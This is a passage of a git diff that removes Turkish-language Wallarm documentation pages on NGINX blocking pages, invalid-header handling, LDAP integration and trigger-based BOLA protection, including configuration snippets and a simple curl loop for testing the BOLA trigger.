            - You might have used symbols similar to a malicious code sequence, or uploaded a specific file. -
            - -
            - -
            What to do
            -
            - If your request is considered to be legitimate, please contact us and provide your last action description and the following data: -
            - -
            - IP ${remote_addr}
            - Blocked on ${time_iso8601}
            - UUID ${request_id} -
            - - -
            -
            -
            -
            - - - ``` - -**Ortak dosya sistemi** - -`/usr/share/nginx/html/wallarm_blocked.html` (`/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`) dosyasının bir kopyasını yeni bir adla dilediğiniz bir yere (NGINX’in okuma izni olmalı) — aynı klasör dahil — oluşturabilirsiniz. - -**Docker container** - -Örnek engelleme sayfasını değiştirmek veya sıfırdan kendi özel sayfanızı sağlamak için Docker’ın [bind mount](https://docs.docker.com/storage/bind-mounts/) işlevini kullanabilirsiniz. Bunu kullandığınızda, ana makinenizdeki sayfa ve NGINX yapılandırma dosyası container’a kopyalanır ve sonrasında orijinalleriyle referanslanır; böylece ana makinedeki dosyaları değiştirirseniz kopyaları senkronize edilir ve tersi de geçerlidir. - -Bu nedenle, örnek engelleme sayfasını değiştirmek veya kendi sayfanızı sağlamak için aşağıdakileri yapın: - -1. İlk çalıştırmadan önce, değiştirilmiş `wallarm_blocked_renamed.html` dosyanızı [hazırlayın](#copy). -1. Engelleme sayfanızın yolunu içeren NGINX yapılandırma dosyasını hazırlayın. [Yapılandırma örneğine](#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code) bakın. -1. Container’ı hazırladığınız engelleme sayfasını ve yapılandırma dosyasını [mount ederek](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) çalıştırın. -1. Çalışan bir container’da engelleme sayfanızı daha sonra güncellemeniz gerekirse, ana makinede referans verilen `wallarm_blocked_renamed.html` dosyasını değiştirin ve ardından container içindeki NGINX’i yeniden başlatın. - -**Ingress controller** - -Örnek engelleme sayfasını değiştirmek veya kendi sayfanızı sağlamak için aşağıdakileri yapın: - -1. Değiştirilmiş `wallarm_blocked_renamed.html` dosyanızı [hazırlayın](#copy). -1. `wallarm_blocked_renamed.html` dosyasından [ConfigMap oluşturun](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files). -1. Oluşturulan ConfigMap’i Wallarm Ingress controller’ın bulunduğu pod’a mount edin. Bunun için, Wallarm Ingress controller’a karşılık gelen Deployment nesnesini [talimatları](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap) izleyerek güncelleyin. - - !!! info "Mount edilen ConfigMap için dizin" - ConfigMap’i mount etmek için kullanılan dizindeki mevcut dosyalar silinecektir. -1. Ingress annotation sağlayarak pod’u özel sayfanızı kullanacak şekilde yönlendirin: - - ```bash - kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="" - ``` - -Ayrıntılı [örneğe](#ingress-annotations) bakın. - -### Sık yapılan değişiklikler - -Şirket logonuzu eklemek için, `wallarm_blocked_renamed.html` dosyasında aşağıdakini değiştirip yorum satırından çıkarın: - -```html -
            - -``` - -Şirket destek e-postanızı eklemek için, `wallarm_blocked_renamed.html` dosyasında `SUPPORT_EMAIL` değişkenini değiştirin: - -```html - -``` - -Değerinde `$` içeren özel bir değişkeni başlatıyorsanız, bu sembolü değişken adından önce `{wallarm_dollar}` ekleyerek kaçışlayın, örn.: `${wallarm_dollar}{variable_name}`. `wallarm_dollar` değişkeni `&` döndürür. - -## Yapılandırma örnekleri - -Aşağıda, `wallarm_block_page` ve `wallarm_block_page_add_dynamic_path` yönergeleri aracılığıyla engelleme sayfası ve hata kodu yapılandırmasına ilişkin örnekler bulunmaktadır. - -`wallarm_block_page` yönergesinin `type` parametresi her örnekte açıkça belirtilmiştir. `type` parametresini kaldırırsanız, yapılandırılan engelleme sayfası, mesaj vb. yalnızca filtering node tarafından engelleme veya güvenli engelleme [mode](../configure-wallarm-mode.md) ayarında engellenen isteğe yanıtta döndürülür. - - -### Engelleme sayfasının bulunduğu HTM veya HTML dosyasının yolu ve hata kodu - -Bu örnek aşağıdaki yanıt ayarlarını gösterir: - -* [Değiştirilmiş](#customizing-sample-blocking-page) örnek Wallarm engelleme sayfası `/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html` ve hata kodu 445; istek filtering node tarafından engelleme veya güvenli engelleme modunda engellenirse döndürülür. -* Özel engelleme sayfası `/usr/share/nginx/html/block.html` ve hata kodu 445; istek denylist’e alınmış herhangi bir IP adresinden gelmişse döndürülür. - -#### NGINX yapılandırma dosyası - -```bash -wallarm_block_page &/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html response_code=445 type=attack; -wallarm_block_page &/usr/share/nginx/html/block.html response_code=445 type=acl_ip,acl_source; -``` - -Ayarları Docker container’a uygulamak için, uygun ayarlara sahip NGINX yapılandırma dosyası `wallarm_blocked_renamed.html` ve `block.html` dosyalarıyla birlikte container’a mount edilmelidir. [Yapılandırma dosyasını mount ederek container’ı çalıştırma →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - - -#### Ingress annotations - -Ingress annotation’ı eklemeden önce: - -1. Engellenen saldırılar için `wallarm_blocked_renamed.html` ve denylist’teki IP’lerden engellenen istekler için `wallarm_blocked_renamed-2.html` dosyalarınızı [hazırlayın](#copy). -1. Dosyalardan [ConfigMap oluşturun](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files): - - ``` - kubectl -n create configmap customized-pages --from-file=wallarm_blocked_renamed.html --from-file=wallarm_blocked_renamed-2.html - ``` - -1. Oluşturulan ConfigMap’i Wallarm Ingress controller’ın bulunduğu pod’a [mount etmek]((https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap)) için aşağıdakileri yapın: - - * Ingress chart’ı dağıtmak için kullandığınız values.yaml’ı güncelleyin: - - ``` - controller: - wallarm: - <...> - # -- Denetleyici ana container'ına ek volumeMount'lar. - extraVolumeMounts: - - name: custom-block-pages - mountPath: /usr/share/nginx/blockpages - # -- Denetleyici pod'una ek volume'lar. - extraVolumes: - - name: custom-block-pages - configMap: - name: customized-pages - <...> - ``` - - * Değişiklikleri controller sürümünüze uygulayın: - - ``` - helm -n upgrade wallarm/wallarm-ingress --reuse-values -f values.yaml - ``` - - !!! info "Mount edilen ConfigMap için dizin" - ConfigMap’i mount etmek için kullanılan dizindeki mevcut dosyalar silinebileceğinden, ConfigMap aracılığıyla mount edilen dosyalar için yeni bir dizin oluşturmanız önerilir. - -Ingress annotations: - -```bash -kubectl -n annotate ingress nginx.ingress.kubernetes.io/wallarm-block-page="&/usr/share/nginx/blockpages/wallarm_blocked_renamed.html response_code=445 type=attack;&/usr/share/nginx/blockpages/wallarm_blocked_renamed-2.html response_code=445 type=acl_ip,acl_source" -``` - -#### Pod annotations (Sidecar controller kullanılıyorsa) - -Engelleme sayfası, `sidecar.wallarm.io/wallarm-block-page` [annotation](../../installation/kubernetes/sidecar-proxy/pod-annotations.md) kullanılarak pod bazında yapılandırılabilir, örn.: - -```yaml hl_lines="18" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - sidecar.wallarm.io/wallarm-block-page: "&/path/to/block/page1.html response_code=403 type=attack;&/path/to/block/page2.html response_code=403 type=acl_ip,acl_source" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - - -### İstemci yönlendirmesi için URL - -Bu örnek, istek denylist’teki ülke, bölge veya veri merkezlerinden gelmişse filtering node’un istemciyi `host/err445` sayfasına yönlendirmesi için ayarları gösterir. - -#### NGINX yapılandırma dosyası - -```bash -wallarm_block_page /err445 type=acl_source; -``` - -Ayarları Docker container’a uygulamak için, uygun ayarlara sahip NGINX yapılandırma dosyası container’a mount edilmelidir. [Yapılandırma dosyasını mount ederek container’ı çalıştırma →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Ingress annotations - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="/err445 type=acl_source" -``` - - -### İsimlendirilmiş NGINX `location` - -Bu örnek, engelleme nedeni ne olursa olsun (engelleme veya güvenli engelleme modu, kaynağın tek IP / alt ağ / ülke veya bölge / veri merkezi olarak denylist’e alınması), istemciye `The page is blocked` mesajı ve 445 hata kodu döndürülmesi için ayarları gösterir. - -#### NGINX yapılandırma dosyası - -```bash -wallarm_block_page @block type=attack,acl_ip,acl_source; -location @block { - return 445 'The page is blocked'; -} -``` - -Ayarları Docker container’a uygulamak için, uygun ayarlara sahip NGINX yapılandırma dosyası container’a mount edilmelidir. [Yapılandırma dosyasını mount ederek container’ı çalıştırma →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Ingress annotations - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/server-snippet="location @block {return 445 'The page is blocked';}" -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="@block type=attack,acl_ip,acl_source" -``` - - -### Değişken ve hata kodu - -Bu yapılandırma, istek tek bir IP veya alt ağ olarak denylist’e alınmış bir kaynaktan gelmişse istemciye döndürülür. Wallarm node’u 445 kodunu ve içeriği `User-Agent` başlık değerine bağlı olan engelleme sayfasını döndürür: - -* Varsayılan olarak, [değiştirilmiş](#customizing-sample-blocking-page) örnek Wallarm engelleme sayfası `/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html` döndürülür. NGINX değişkenleri engelleme sayfası kodunda kullanıldığından, bu sayfa `wallarm_block_page_add_dynamic_path` yönergesi aracılığıyla başlatılmalıdır. -* Firefox kullanıcıları için — `/usr/share/nginx/html/block_page_firefox.html` (Wallarm Ingress controller’ı dağıtıyorsanız, özel engelleme sayfası dosyaları için ayrı bir dizin oluşturmanız önerilir, örn. `/usr/custom-block-pages/block_page_firefox.html`): - - ```bash - You are blocked! - - IP ${remote_addr} - Blocked on ${time_iso8601} - UUID ${request_id} - ``` - - NGINX değişkenleri engelleme sayfası kodunda kullanıldığından, bu sayfa `wallarm_block_page_add_dynamic_path` yönergesi aracılığıyla başlatılmalıdır. -* Chrome kullanıcıları için — `/usr/share/nginx/html/block_page_chrome.html` (Wallarm Ingress controller’ı dağıtıyorsanız, özel engelleme sayfası dosyaları için ayrı bir dizin oluşturmanız önerilir, örn. `/usr/custom-block-pages/block_page_chrome.html`): - - ```bash - You are blocked! - ``` - - NGINX değişkenleri engelleme sayfası kodunda KULLANILMADIĞINDAN, bu sayfa BAŞLATILMAMALIDIR. - -#### NGINX yapılandırma dosyası - -```bash -wallarm_block_page_add_dynamic_path /usr/share/nginx/html/block_page_firefox.html /opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html; - -map $http_user_agent $block_page { - "~Firefox" &/usr/share/nginx/html/block_page_firefox.html; - "~Chrome" &/usr/share/nginx/html/block_page_chrome.html; - default &/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html; -} - -wallarm_block_page $block_page response_code=445 type=acl_ip; -``` - -Ayarları Docker container’a uygulamak için, uygun ayarlara sahip NGINX yapılandırma dosyası `wallarm_blocked_renamed.html`, `block_page_firefox.html` ve `block_page_chrome.html` dosyalarıyla birlikte container’a mount edilmelidir. [Yapılandırma dosyasını mount ederek container’ı çalıştırma →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### Ingress controller - -1. Dağıtılan Helm chart’a [`helm upgrade`](https://helm.sh/docs/helm/helm_upgrade/) komutunu kullanarak `controller.config.http-snippet` parametresini geçin: - - ```bash - helm upgrade --reuse-values --set controller.config.http-snippet='wallarm_block_page_add_dynamic_path /usr/custom-block-pages/block_page_firefox.html /opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html; map $http_user_agent $block_page { "~Firefox" &/usr/custom-block-pages/block_page_firefox.html; "~Chrome" &/usr/custom-block-pages/block_page_chrome.html; default &/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html;}' wallarm/wallarm-ingress -n - ``` -2. `wallarm_blocked_renamed.html`, `block_page_firefox.html` ve `block_page_chrome.html` dosyalarından [ConfigMap oluşturun](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files). -3. Oluşturulan ConfigMap’i Wallarm Ingress controller’ın bulunduğu pod’a mount edin. Bunun için, Wallarm Ingress controller’a karşılık gelen Deployment nesnesini [talimatları](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap) izleyerek güncelleyin. - - !!! info "Mount edilen ConfigMap için dizin" - ConfigMap’i mount etmek için kullanılan dizindeki mevcut dosyalar silinebileceğinden, ConfigMap aracılığıyla mount edilen dosyalar için yeni bir dizin oluşturmanız önerilir. -4. Aşağıdaki annotation’ı Ingress’e ekleyin: - - ```bash - kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page='$block_page response_code=445 type=acl_ip' - ``` \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/handling-invalid-headers.md b/docs/latest-tr/admin-en/configuration-guides/handling-invalid-headers.md deleted file mode 100644 index ab34ea9714..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/handling-invalid-headers.md +++ /dev/null @@ -1,222 +0,0 @@ -# NGINX Tarafından Geçersiz Kabul Edilen Başlıkların (Header) İşlenmesi - -Varsayılan olarak, NGINX adında `.` veya `_` bulunanlar gibi geçersiz saydığı başlıkları düşürür. Bu durum Wallarm'ın bu başlıkları görmesini ve analiz etmesini engeller, güvenlik kapsamını azaltır. Bu tür başlıklar ortamınızda geçerli kabul ediliyorsa, onları kabul etmek için bu makaleyi izleyin. - -## Soruna genel bakış - -[RFC 7230](https://www.rfc-editor.org/rfc/rfc7230?utm_source=chatgpt.com#section-3.2.6) uyarınca, `.` ve `_` gibi karakterler HTTP başlık alanı adlarında geçerlidir. Ancak, varsayılan olarak NGINX bu tür başlıkları düşürür. - -API'niz bu başlıkları meşru olarak kullanıyorsa, bunların kaldırılması Wallarm'da aşağıdaki kısıtlamalara neden olur: - -* [API Discovery](../../api-discovery/overview.md) düşürülen başlıkları göremez ve envantere dahil etmez -* [Saldırı tespiti](../../user-guides/events/check-attack.md) bu başlıklara uygulanmaz - -Bu sorunlardan kaçınmak için NGINX'i bunları kabul edip iletecek şekilde yapılandırın. - -## Çözüm - -NGINX'te aşağıdaki direktifleri etkinleştirin: - -* [`underscores_in_headers on;`](https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers) -* [`ignore_invalid_headers off;`](https://nginx.org/en/docs/http/ngx_http_core_module.html#ignore_invalid_headers) - -Bu ayarlar, NGINX'in `.` ve `_` içerenler dahil tüm başlıkları korumasını sağlar; böylece Wallarm bunları inceleyebilir. - -## Farklı dağıtım biçimlerinde nasıl uygulanır - -### Tümleşik yükleyici, AWS AMI ve GCP makine imajı - -[all-in-one installer](../../installation/nginx/all-in-one.md), [AWS AMI](../../installation/packages/aws-ami.md) veya [GCP machine image](../../installation/packages/gcp-machine-image.md) ile Wallarm Node'u kurduğunuzda: - -1. `/etc/nginx/nginx.conf` dosyasını düzenleyin. -1. `http {}` bloğunun içine şunları ekleyin: - - ``` - underscores_in_headers on; - ignore_invalid_headers off; - ``` -1. NGINX'i yeniden yükleyin: - - ``` - sudo nginx -s reload - ``` - -### Docker imajı - -[Wallarm Node'u Docker'da](../installation-docker-en.md) çalıştırırken, bu direktifleri içeren bir yapılandırma dosyasını bağlayın: - -1. Node yapılandırmanızla `/etc/nginx/nginx.conf` dosyasını oluşturun. - - Aşağıda, Node'un çalışması için gereken asgari dosya içeriği verilmiştir: - - ```hl_lines="15-16" - #user wallarm; - worker_processes auto; - pid /run/nginx.pid; - include /etc/nginx/modules/*.conf; - - events { - worker_connections 768; - # multi_accept on; - } - - http { - # apifw'nin sunucu bloklarına otomatik dahil edilmesi - wallarm_srv_include /etc/nginx/wallarm-apifw-loc.conf; - - underscores_in_headers on; - ignore_invalid_headers off; - - upstream wallarm_wstore { - server localhost:3313 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; - } - wallarm_wstore_upstream wallarm_wstore; - ## - # Temel Ayarlar - ## - - sendfile on; - tcp_nopush on; - tcp_nodelay on; - keepalive_timeout 65; - types_hash_max_size 2048; - # server_tokens off; - - # server_names_hash_bucket_size 64; - # server_name_in_redirect off; - - include /etc/nginx/mime.types; - default_type application/octet-stream; - - ## - # SSL Ayarları - ## - - ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # SSLv3 kaldırılıyor, bkz: POODLE - ssl_prefer_server_ciphers on; - - ## - # Günlükleme Ayarları - ## - - access_log /var/log/nginx/access.log; - error_log /var/log/nginx/error.log; - - ## - # Gzip Ayarları - ## - - gzip on; - - # gzip_vary on; - # gzip_proxied any; - # gzip_comp_level 6; - # gzip_buffers 16 8k; - # gzip_http_version 1.1; - # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; - - - ## - # Sanal Ana Makine Yapılandırmaları - Wallarm - ## - - include /etc/nginx/conf.d/*.conf; - - ## - # Sanal Ana Makine Yapılandırmaları - Kullanıcı - ## - - include /etc/nginx/http.d/*; - } - ``` -1. `wallarm-apifw-loc.conf` dosyasını `/etc/nginx/wallarm-apifw-loc.conf` yoluna bağlayın. İçeriği şu şekilde olmalıdır: - - ``` - location ~ ^/wallarm-apifw(.*)$ { - wallarm_mode off; - proxy_pass http://127.0.0.1:8088$1; - error_page 404 431 = @wallarm-apifw-fallback; - error_page 500 502 503 504 = @wallarm-apifw-fallback; - allow 127.0.0.8/8; - deny all; - } - - location @wallarm-apifw-fallback { - wallarm_mode off; - return 500 "API FW fallback"; - } - ``` -1. Aşağıdaki içerikle `/etc/nginx/conf.d/wallarm-status.conf` dosyasını bağlayın. Sağlanan yapılandırmadaki herhangi bir satırı değiştirmemek kritik önemdedir; aksi takdirde düğüm metriklerinin Wallarm cloud üzerine başarılı yüklenmesini engelleyebilir. - - ``` - server { - listen 127.0.0.8:80; - - server_name localhost; - - allow 127.0.0.0/8; - deny all; - - wallarm_mode off; - disable_acl "on"; - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } - } - ``` -1. NGINX yapılandırma dosyanızda, `/wallarm-status` uç noktası için aşağıdaki yapılandırmayı ayarlayın: - - ``` - location /wallarm-status { - # İzin verilen adresler, WALLARM_STATUS_ALLOW değişkeninin değeriyle eşleşmelidir - allow xxx.xxx.x.xxx; - allow yyy.yyy.y.yyy; - deny all; - wallarm_status on format=prometheus; - wallarm_mode off; - } - ``` -1. [Bu dosyaları beklenen yollarına bağlayarak konteyneri çalıştırın](../installation-docker-en.md#run-the-container-mounting-the-configuration-file). - -### NGINX Ingress Controller - -[Wallarm NGINX-based Ingress controller](../installation-kubernetes-en.md) için, desteklenen ConfigMap anahtarlarını kullanın: - -1. Aşağıdaki içerikle [ConfigMap oluşturun](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files): - - ```yaml - apiVersion: v1 - kind: ConfigMap - metadata: - name: nginx-configuration - namespace: ingress-nginx - data: - enable-underscores-in-headers: "true" - ignore-invalid-headers: "false" - ``` -1. `values.yaml` dosyanızda ConfigMap yolunu belirtin. - -### Sidecar Proxy - -[Wallarm Sidecar Proxy](../../installation/kubernetes/sidecar-proxy/deployment.md) kullanıyorsanız, gerekli uygulama pod seviyesinde bir açıklama (annotation) aracılığıyla direktifleri ekleyin: - -```yaml hl_lines="8-10" -apiVersion: apps/v1 -kind: Deployment -... -spec: - template: - metadata: - annotations: - sidecar.wallarm.io/nginx-http-snippet: | - underscores_in_headers on; - ignore_invalid_headers off; -``` - -### Security Edge - -[Wallarm Security Edge](../../installation/security-edge/overview.md) içinde `.` ve `_` içeren başlıklara destek vermeyi etkinleştirmek için lütfen [support@wallarm.com](mailto:support@wallarm.com) ile iletişime geçin. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/ldap/ldap.md b/docs/latest-tr/admin-en/configuration-guides/ldap/ldap.md deleted file mode 100644 index 7f7db1dbdf..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/ldap/ldap.md +++ /dev/null @@ -1,51 +0,0 @@ -# LDAP Kullanımı - -Şirketiniz halihazırda bir LDAP çözümü kullanıyorsa, Wallarm Console'da şirket kullanıcılarınızı kimlik doğrulamak için LDAP teknolojisini kullanabilirsiniz. Bu makale, dizin hizmetinizle LDAP entegrasyonunun nasıl yapılandırılacağını açıklar. - -## Genel Bakış - -Şirketinizin [dizin hizmetleri](https://en.wikipedia.org/wiki/Directory_service#LDAP_implementations) gibi mevcut kullanıcı yönetim sistemleriyle (ör. [Microsoft Active Directory (AD)](https://learn.microsoft.com/en-us/entra/architecture/auth-ldap)) sorunsuz entegrasyon sağlamak için Wallarm, bu tür sistemlerle LDAP protokolü aracılığıyla entegrasyonu destekler. Bu entegrasyon şunları yapmanıza olanak tanır: - -* Şirketinizin kullanıcılarının, dizin hizmetinizde saklanan kimlik bilgilerini kullanarak, Wallarm Console'da daha önce kayıt olmalarına gerek kalmadan Wallarm Console'a oturum açabilmesini sağlamak. -* Dizin hizmetinizden kullanıcı rolleri ve izinlerini Wallarm Console'a iletmek. -* Dizin hizmetiniz tarafından desteklenen veri şifrelemesini kullanmak. - -## Gereksinimler - -* LDAP yapılandırması etkinleştirilene kadar kullanılamaz; etkinleştirme için [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçin. -* Kimlik doğrulama için yalnızca LDAP veya SSO'dan birini kullanabilirsiniz; ikisini birden kullanamazsınız. LDAP'ı yapılandırmak için, eğer etkinse önce SSO'yu kaldırın. -* Güvenlik duvarınızın, Wallarm IP'lerinden gelen istekleri kabul edecek şekilde yapılandırılmış olması gerekir: - - --8<-- "../include/wallarm-cloud-ips.md" - -* LDAP ortamınızda, kullanıcıların aşağıdaki özniteliklere sahip olması gerekir: - - * `displayName` - * `mail` veya `email` (özelleştirilebilir) - -* Gruplar şunları sağlamalıdır: - - * `groupOfNames` veya `groupOfUniqueNames` olmalıdır - * `member` özniteliğine sahip olmalıdır - -## Kurulum - -Eğer [gereksinimler](#requirements) karşılanıyorsa, LDAP entegrasyonunu Wallarm Console içinde Integrations → LDAP → LDAP bölümünden yapılandırabilirsiniz. - -![LDAP entegrasyonunun yapılandırılması](../../../images/admin-guides/configuration-guides/ldap/configuring-ldap.png) - -LDAP entegrasyonunda, Wallarm içinde LDAP gruplarını [user roles](../../../user-guides/settings/users.md#user-roles) ile eşlemeniz gerekir. En az bir LDAP grubunu eşlemelisiniz ve gerektiği kadar ek eşleme ekleyebilirsiniz. - -!!! info "LDAP grup DN'si" - **LDAP group name** için grup DN'sini kullanın, örneğin: - - `cn=wallarm_partner_admin,ou=groups,dc=users,dc=example,dc=com` - -Temel seçenekler olarak şunları ayarlayın: - -* LDAP sunucu URL'sini ve portunu **LDAP Server** içinde belirtin. -* Temel distinguished name **Base DN**. -* **Bind DN** ve parola: LDAP sunucusuna bağlanmak (connect) için kullanılan LDAP hiyerarşisindeki bir nesnenin tam adı. Parola ile birlikte verilmelidir. -* **Email attribute name**, kullanıcı e-postasının LDAP sunucusunda saklanacağı alanın adını belirtir. -* Kimlik doğrulama tipi `Simple` olarak ayarlanmıştır ve değiştirilemez. -* SSL/TLS şifrelemesi kullanılacaksa, ilgili sertifika ve özel anahtar değerlerini yapıştırarak yapılandırın. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/protecting-against-bola-trigger.md b/docs/latest-tr/admin-en/configuration-guides/protecting-against-bola-trigger.md deleted file mode 100644 index c50dbf2080..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/protecting-against-bola-trigger.md +++ /dev/null @@ -1,83 +0,0 @@ -# Manuel BOLA Koruması - -[Broken Object Level Authorization (BOLA)](../../attacks-vulns-list.md#broken-object-level-authorization-bola) gibi davranışsal saldırılar, aynı adlı güvenlik açığından yararlanır. Bu güvenlik açığı, bir saldırganın bir nesneye API isteği ile tanımlayıcısı üzerinden erişmesine ve bir yetkilendirme mekanizmasını atlayarak verilerini okumasına veya değiştirmesine olanak tanır. - -## Yapılandırma yöntemi - -Abonelik planınıza bağlı olarak, BOLA saldırılarına karşı koruma için aşağıdaki yapılandırma yöntemlerinden biri kullanılabilir: - -* Azaltma kontrolleri ([Advanced API Security](../../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) -* Triggers ([Cloud Native WAAP](../../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) - -## Azaltma kontrollerine dayalı koruma - -Wallarm'ın Advanced API Security [aboneliği](../../about-wallarm/subscription-plans.md#core-subscription-plans) gelişmiş [numaralandırma saldırısı koruması](../../api-protection/enumeration-attack-protection.md) sağlar; buna BOLA saldırılarına karşı koruma da dahildir. - -## Trigger tabanlı koruma - -### Yapılandırma {#configuring} - -Varsayılan olarak, Wallarm yalnızca BOLA türü (IDOR olarak da bilinir) güvenlik açıklarını otomatik olarak keşfeder, ancak bunların sömürü girişimlerini tespit etmez. Aşağıdaki örneği inceleyerek BOLA saldırılarına karşı korumayı nasıl yapılandıracağınızı öğrenin. - -Diyelim ki çevrimiçi mağazalar (shops) için e-ticaret platformunuz `wmall-example.com`, barındırdığı her mağazaya ait bilgileri `/shops//` altında tutuyor. Kötü niyetli kişilerin barındırılan tüm mağaza adlarının listesini elde etmesini engellemek istiyorsunuz. Böyle bir liste, listedeki adları değiştirip URL’deki `` bölümünü farklılaştıran basit bir komut dosyasıyla elde edilebilir. Bunu önlemek için, mağaza barındırma rotanızda belirli bir zaman aralığındaki istek sayısını sınırlayabilir ve limiti aşan IP’leri engelleyebilirsiniz: - -1. Wallarm Console → **Triggers**'ı açın ve yeni bir trigger oluşturma penceresini açın. -1. **BOLA** koşulunu seçin. -1. Eşiği aynı IP'den 30 saniyede 30 istek olarak ayarlayın. - - Bunların örnek değerler olduğunu unutmayın—kendi trafiğiniz için trigger yapılandırırken, meşru kullanım istatistiklerini dikkate alarak bir eşik belirlemelisiniz. - -1. **URI** filtresini ekran görüntüsünde gösterildiği gibi ayarlayın; şunları içerecek şekilde: - - * Yolda "herhangi bir tek bileşen" anlamına gelen `*` [wildcard](../../user-guides/rules/rules.md#using-wildcards). Bu, `wmall-example.com/shops//financial_info` adreslerinin tümünü kapsayacaktır. - - ![BOLA trigger](../../images/user-guides/triggers/trigger-example7-4.8.png) - -1. Bu durumda şunları kullanmayın: - - * **Application** filtresi; ancak yalnızca seçili uygulamaların alan adlarını veya belirli uç noktalarını hedefleyen isteklere tepki verecek şekilde trigger'ı kısıtlamak için kullanılabileceğini bilin. - * **IP** filtresi; ancak yalnızca belirli kaynak IP'lerden gelen isteklere tepki verecek şekilde trigger'ları kısıtlamak için kullanılabileceğini bilin. - -1. Trigger tepkisi olarak **Denylist IP address** - `Block for 4 hour` seçeneğini belirleyin. Eşik aşıldığında, Wallarm kaynak IP'yi [denylist](../../user-guides/ip-lists/overview.md)'e ekler ve bu IP'den gelen tüm sonraki istekleri engeller. - - Manuel BOLA koruması tarafından bot IP'si denylist'e alınsa bile, varsayılan olarak Wallarm bu IP'den gelen engellenmiş isteklere ilişkin istatistikleri [görüntüler](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips). - -1. **Mark as BOLA** trigger tepkisini seçin. Eşik aşıldıktan sonra alınan istekler BOLA saldırısı olarak işaretlenir ve Wallarm Console'un **Attacks** bölümünde görüntülenir. Bazen, herhangi bir şeyi engellemeden saldırı hakkında bilgi sahibi olmak için sadece bu tepkiyi kullanabilirsiniz. -1. Trigger'ı kaydedin ve [Cloud ve node senkronizasyonunun tamamlanmasını](../configure-cloud-node-synchronization-en.md) bekleyin (genellikle 2-4 dakika sürer). - -### Test - -!!! info "Ortamınızda test" - Ortamınızda **BOLA** trigger'ını test etmek için, aşağıdaki trigger ve istekteki alan adını herhangi bir genel alan adıyla değiştirin (örn. `example.com`). - -[Yapılandırma](#configuring) bölümünde açıklanan trigger'ı test etmek için: - -1. Korumalı URI’ye, yapılandırılan eşiği aşacak sayıda istek gönderin. Örneğin, `https://wmall-example.com/shops/{shop_id}/financial_info` uç noktasına farklı `{shop_id}` değerleriyle 50 istek gönderin: - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://wmall-example.com/shops/$i/financial_info ; done - ``` -1. Trigger tepkisi **Denylist IP address** ise, Wallarm Console → **IP lists** → **Denylist**'i açın ve kaynak IP adresinin engellendiğini kontrol edin. - - Trigger tepkisi **Graylist IP address** ise, Wallarm Console'un **IP lists** → **Graylist** bölümünü kontrol edin. -1. **Attacks** bölümünü açın ve isteklerin BOLA saldırısı olarak listelendiğini doğrulayın. - - ![UI'de BOLA saldırısı](../../images/user-guides/events/bola-attack.png) - - Görüntülenen istek sayısı, trigger eşiği aşıldıktan sonra gönderilen istek sayısına karşılık gelir ([davranışsal saldırıların tespiti hakkında daha fazla ayrıntı](../../attacks-vulns-list.md#attack-types)). Bu sayı 5'ten büyükse, istek örneklemesi uygulanır ve istek ayrıntıları yalnızca ilk 5 Hits için görüntülenir ([istek örneklemesi hakkında daha fazla ayrıntı](../../user-guides/events/grouping-sampling.md#sampling-of-hits)). - - BOLA saldırılarını aramak için `bola` arama etiketini kullanabilirsiniz. Tüm filtreler [arama kullanımına ilişkin talimatlarda](../../user-guides/search-and-filters/use-search.md) açıklanmıştır. - -### Gereksinimler ve kısıtlamalar - -**Gereksinimler** - -Kaynakları BOLA saldırılarına karşı korumak için gerçek istemci IP adresleri gereklidir. Filtreleme düğümü bir 